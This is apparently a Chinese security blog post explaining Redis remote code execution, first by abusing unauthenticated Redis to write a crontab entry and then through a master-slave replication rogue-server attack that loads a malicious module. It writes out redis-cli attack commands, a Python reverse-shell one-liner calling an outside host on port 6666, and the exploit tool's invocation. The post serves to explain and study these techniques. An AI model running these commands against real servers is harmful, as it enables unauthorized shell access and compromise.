Redis基于主从复制的RCE利用方式


Redis基于主从复制的RCE利用方式

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

通过写入文件GetShell

未授权的redis会导致GetShell,利用方式如下:

127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK

而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似

[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]

这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。

但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

通过主从复制GetShell

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

利用两台docker来做测试:

docker search redis5

docker pull damonevking/redis5.0
docker ps

通过slaveof可以设置主从状态:

首先在slave上设置:

然后在master上设置:

在slave上,可以发现数据已经同步:

Redis模块

在了解了主从同步之后,我们还需要对redis的模块有所了解。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

编写恶意so文件的代码
https://github.com/RicterZ/RedisModules-ExecuteCommand

git clone后,进入目录,用make命令编译即可获得.so库文件。

利用原理

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

漏洞复现

使用模拟的恶意服务端来作为主机,并模拟fullresync请求。

https://github.com/LoRexxar/redis-rogue-server

(注:作者利用的是python3.7环境成功执行)

然后启用redis 5.0的docker

然后直接通过POC来攻击服务端

python3 redis-rogue-server.py --rhost 172.18.0.2 --rport 6379 --lhost 172.18.0.1

(注:在docker环境下反弹shell会出现问题,因此本文中的lhost使用的是docker宿主机的内网IP。作者在使用外网IP的时候,会弹出错误)


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Kerberos内网安全——组策略与ACL Kerberos内网安全——组策略与ACL
组策略的部署及下发原理 本地组策略和域内组策略 域服务器如何存储组策略 组策略的下发和获取 客户端如何存储组策略 Server Manager的组策略管理工具更专业的组策略管理工具GPMC,可以管理多个域创建并编辑组策略的内容组策略分作主
2019-07-24
下一篇 
Windows认证 Windows认证
Windows 认证Windows 本地认证本地认证基础在本地登录Windows的情况下,操作系统会使用用户输入的密码作为凭证去与系统中的密码进行验证,但是操作系统中的密码存储在哪里呢?路径:%SystemRoot%\system32\co
2019-07-07
  目录